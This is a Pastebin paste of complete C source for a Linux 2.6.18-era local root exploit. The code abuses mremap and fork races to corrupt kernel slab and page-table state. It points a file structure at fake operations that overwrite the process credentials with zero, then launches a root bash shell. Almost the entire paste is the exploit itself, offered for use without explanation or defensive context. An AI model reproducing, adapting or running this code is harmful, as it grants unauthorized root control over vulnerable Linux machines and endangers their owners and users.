Advertisement
Spider64

Linux 2.6.18 408 local root exploit

Sep 26th, 2013
509
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.41 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <errno.h>
  4. #include <string.h>
  5. #include <fcntl.h>
  6. #include <unistd.h>
  7. #include <syscall.h>
  8. #include <signal.h>
  9. #include <time.h>
  10. #include <sched.h>
  11.  
  12. #include <sys/mman.h>
  13. #include <sys/stat.h>
  14. #include <sys/wait.h>
  15.  
  16. #include <asm/page.h>
  17.  
  18. #define MREMAP_MAYMOVE 1
  19. #define MREMAP_FIXED 2
  20.  
  21. #define str(s) #s
  22. #define xstr(s) str(s)
  23.  
  24. #define DSIGNAL SIGCHLD
  25. #define CLONEFL (DSIGNAL|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VFORK)
  26. #define PAGEADDR 0x2000
  27.  
  28. #define RNDINT 512
  29.  
  30. #define NUMVMA (3 * 5 * 257)
  31. #define NUMFORK (17 * 65537)
  32.  
  33. #define DUPTO 1000
  34. #define TMPLEN 256
  35.  
  36. #define __NR_sys_mremap 163
  37.  
  38. _syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d, ulong, e);
  39. unsigned long sys_mremap(unsigned long addr, unsigned long old_len, unsigned long
  40. new_len,
  41. unsigned long flags, unsigned long new_addr);
  42.  
  43.  
  44. static volatile int pid = 0, ppid, hpid, *victim, *fops, blah = 0, dummy = 0, uid,
  45. gid;
  46. static volatile int *vma_ro, *vma_rw, *tmp;
  47. static volatile unsigned fake_file[16];
  48.  
  49.  
  50. void fatal(const char * msg)
  51. {
  52. printf("\n");
  53. if (!errno) {
  54. fprintf(stderr, "FATAL: %s\n", msg);
  55. } else {
  56. perror(msg);
  57. }
  58.  
  59. printf("\nentering endless loop");
  60. fflush(stdout);
  61. fflush(stderr);
  62. while (1) pause();
  63. }
  64.  
  65. void kernel_code(void * file, loff_t offset, int origin)
  66. {
  67. int i, c;
  68. int *v;
  69.  
  70. if (!file)
  71. goto out;
  72.  
  73. __asm__("movl %%esp, %0" : : "m" (c));
  74.  
  75. c &= 0xffffe000;
  76. v = (void *) c;
  77.  
  78. for (i = 0; i < PAGE_SIZE / sizeof(*v) - 1; i++) {
  79. if (v[i] == uid && v[i+1] == uid) {
  80. i++; v[i++] = 0; v[i++] = 0; v[i++] = 0;
  81. }
  82. if (v[i] == gid) {
  83. v[i++] = 0; v[i++] = 0; v[i++] = 0; v[i++] = 0;
  84. break;
  85. }
  86. }
  87. out:
  88. dummy++;
  89. }
  90.  
  91. void try_to_exploit(void)
  92. {
  93. int v = 0;
  94.  
  95. v += fops[0];
  96. v += fake_file[0];
  97.  
  98. kernel_code(0, 0, v);
  99. lseek(DUPTO, 0, SEEK_SET);
  100.  
  101. if (geteuid()) {
  102. printf("\nFAILED uid!=0"); fflush(stdout);
  103. errno =- ENOSYS;
  104. fatal("uid change");
  105. }
  106.  
  107. printf("\n[+] PID %d GOT UID 0, enjoy!", getpid()); fflush(stdout);
  108.  
  109. kill(ppid, SIGUSR1);
  110. setresuid(0, 0, 0);
  111. sleep(1);
  112.  
  113. printf("\n\n"); fflush(stdout);
  114.  
  115. execl("/bin/bash", "bash", NULL);
  116. fatal("burp");
  117. }
  118.  
  119. void cleanup(int v)
  120. {
  121. victim[DUPTO] = victim[0];
  122. kill(0, SIGUSR2);
  123. }
  124.  
  125.  
  126. void redirect_filp(int v)
  127. {
  128. printf("\n[!] parent check race... "); fflush(stdout);
  129.  
  130. if (victim[DUPTO] && victim[0] == victim[DUPTO]) {
  131. printf("SUCCESS, cought SLAB page!"); fflush(stdout);
  132. victim[DUPTO] = (unsigned) & fake_file;
  133. signal(SIGUSR1, &cleanup);
  134. kill(pid, SIGUSR1);
  135. } else {
  136. printf("FAILED!");
  137. }
  138. fflush(stdout);
  139. }
  140.  
  141. int get_slab_objs(void)
  142. {
  143. FILE * fp;
  144. int c, d, u = 0, a = 0;
  145. static char line[TMPLEN], name[TMPLEN];
  146.  
  147. fp = fopen("/proc/slabinfo", "r");
  148. if (!fp)
  149. fatal("fopen");
  150.  
  151. fgets(name, sizeof(name) - 1, fp);
  152. do {
  153. c = u = a =- 1;
  154. if (!fgets(line, sizeof(line) - 1, fp))
  155. break;
  156. c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a, &d, &d, &d, &d);
  157. } while (strcmp(name, "size-4096"));
  158.  
  159. fclose(fp);
  160.  
  161. return c == 7 ? a - u : -1;
  162. }
  163.  
  164. void unprotect(int v)
  165. {
  166. int n, c = 1;
  167.  
  168. *victim = 0;
  169. printf("\n[+] parent unprotected PTE "); fflush(stdout);
  170.  
  171. dup2(0, 2);
  172. while (1) {
  173. n = get_slab_objs();
  174. if (n < 0)
  175. fatal("read slabinfo");
  176. if (n > 0) {
  177. printf("\n depopulate SLAB #%d", c++);
  178. blah = 0; kill(hpid, SIGUSR1);
  179. while (!blah) pause();
  180. }
  181. if (!n) {
  182. blah = 0; kill(hpid, SIGUSR1);
  183. while (!blah) pause();
  184. dup2(0, DUPTO);
  185. break;
  186. }
  187. }
  188.  
  189. signal(SIGUSR1, &redirect_filp);
  190. kill(pid, SIGUSR1);
  191. }
  192.  
  193. void cleanup_vmas(void)
  194. {
  195. int i = NUMVMA;
  196.  
  197. while (1) {
  198. tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ,
  199. MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
  200. if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
  201. printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
  202. fatal("unmap1");
  203. }
  204. i--;
  205. if (!i)
  206. break;
  207.  
  208. tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ|PROT_WRITE,
  209. MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  210. if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
  211. printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
  212. fatal("unmap2");
  213. }
  214. i--;
  215. if (!i)
  216. break;
  217. }
  218. }
  219.  
  220. void catchme(int v)
  221. {
  222. blah++;
  223. }
  224.  
  225. void exitme(int v)
  226. {
  227. _exit(0);
  228. }
  229.  
  230. void childrip(int v)
  231. {
  232. waitpid(-1, 0, WNOHANG);
  233. }
  234.  
  235. void slab_helper(void)
  236. {
  237. signal(SIGUSR1, &catchme);
  238. signal(SIGUSR2, &exitme);
  239. blah = 0;
  240.  
  241. while (1) {
  242. while (!blah) pause();
  243.  
  244. blah = 0;
  245. if (!fork()) {
  246. dup2(0, DUPTO);
  247. kill(getppid(), SIGUSR1);
  248. while (1) pause();
  249. } else {
  250. while (!blah) pause();
  251. blah = 0; kill(ppid, SIGUSR2);
  252. }
  253. }
  254. exit(0);
  255. }
  256.  
  257. int main(void)
  258. {
  259. int i, r, v, cnt;
  260. time_t start;
  261.  
  262. srand(time(NULL) + getpid());
  263. ppid = getpid();
  264. uid = getuid();
  265. gid = getgid();
  266.  
  267. hpid = fork();
  268. if (!hpid)
  269. slab_helper();
  270.  
  271. fops = mmap(0, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
  272. MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  273. if (fops == MAP_FAILED)
  274. fatal("mmap fops VMA");
  275. for (i = 0; i < PAGE_SIZE / sizeof(*fops); i++)
  276. fops[i] = (unsigned)&kernel_code;
  277. for (i = 0; i < sizeof(fake_file) / sizeof(*fake_file); i++)
  278. fake_file[i] = (unsigned)fops;
  279.  
  280. vma_ro = mmap(0, PAGE_SIZE, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  281. if (vma_ro == MAP_FAILED)
  282. fatal("mmap1");
  283.  
  284. vma_rw = mmap(0, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  285. if (vma_rw == MAP_FAILED)
  286. fatal("mmap2");
  287.  
  288. cnt = NUMVMA;
  289. while (1) {
  290. r = sys_mremap((ulong)vma_ro, 0, 0, MREMAP_FIXED|MREMAP_MAYMOVE, PAGEADDR);
  291. if (r == (-1)) {
  292. printf("\n[-] ERROR remapping"); fflush(stdout);
  293. fatal("remap1");
  294. }
  295. cnt--;
  296. if (!cnt) break;
  297.  
  298. r = sys_mremap((ulong)vma_rw, 0, 0, MREMAP_FIXED|MREMAP_MAYMOVE, PAGEADDR);
  299. if (r == (-1)) {
  300. printf("\n[-] ERROR remapping"); fflush(stdout);
  301. fatal("remap2");
  302. }
  303. cnt--;
  304. if (!cnt) break;
  305. }
  306.  
  307. victim = mmap((void*)PAGEADDR, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
  308. MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  309. if (victim != (void *) PAGEADDR)
  310. fatal("mmap victim VMA");
  311.  
  312. v = *victim;
  313. *victim = v + 1;
  314.  
  315. signal(SIGUSR1, &unprotect);
  316. signal(SIGUSR2, &catchme);
  317. signal(SIGCHLD, &childrip);
  318. printf("\n[+] Please wait...HEAVY SYSTEM LOAD!\n"); fflush(stdout);
  319. start = time(NULL);
  320.  
  321. cnt = NUMFORK;
  322. v = 0;
  323. while (1) {
  324. cnt--;
  325. v--;
  326. dummy += *victim;
  327.  
  328. if (cnt > 1) {
  329. __asm__(
  330. "pusha \n"
  331. "movl %1, %%eax \n"
  332. "movl $("xstr(CLONEFL)"), %%ebx \n"
  333. "movl %%esp, %%ecx \n"
  334. "movl $120, %%eax \n"
  335. "int $0x80 \n"
  336. "movl %%eax, %0 \n"
  337. "popa \n"
  338. : : "m" (pid), "m" (dummy)
  339. );
  340. } else {
  341. pid = fork();
  342. }
  343.  
  344. if (pid) {
  345. if (v <= 0 && cnt > 0) {
  346. float eta, tm;
  347. v = rand() % RNDINT / 2 + RNDINT / 2;
  348. tm = eta = (float)(time(NULL) - start);
  349. eta *= (float)NUMFORK;
  350. eta /= (float)(NUMFORK - cnt);
  351. printf("\r\t%u of %u [ %u %% ETA %6.1f s ] ",
  352. NUMFORK - cnt, NUMFORK, (100 * (NUMFORK - cnt)) / NUMFORK, eta - tm);
  353. fflush(stdout);
  354. }
  355. if (cnt) {
  356. waitpid(pid, 0, 0);
  357. continue;
  358. }
  359. if (!cnt) {
  360. while (1) {
  361. r = wait(NULL);
  362. if (r == pid) {
  363. cleanup_vmas();
  364. while (1) { kill(0, SIGUSR2); kill(0, SIGSTOP); pause(); }
  365. }
  366. }
  367. }
  368. }
  369.  
  370. else {
  371. cleanup_vmas();
  372.  
  373. if (cnt > 0) {
  374. _exit(0);
  375. }
  376.  
  377. printf("\n[+] rooting done..the moment of truth..."); fflush(stdout);
  378. sleep(1);
  379.  
  380. signal(SIGUSR1, &catchme);
  381. munmap(0, PAGE_SIZE);
  382. dup2(0, 2);
  383. blah = 0; kill(ppid, SIGUSR1);
  384. while (!blah) pause();
  385.  
  386. munmap((void *)victim, PAGE_SIZE);
  387. dup2(0, DUPTO);
  388.  
  389. blah = 0; kill(ppid, SIGUSR1);
  390. while (!blah) pause();
  391. try_to_exploit();
  392. while (1) pause();
  393. }
  394. }
  395. return 0;
  396. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement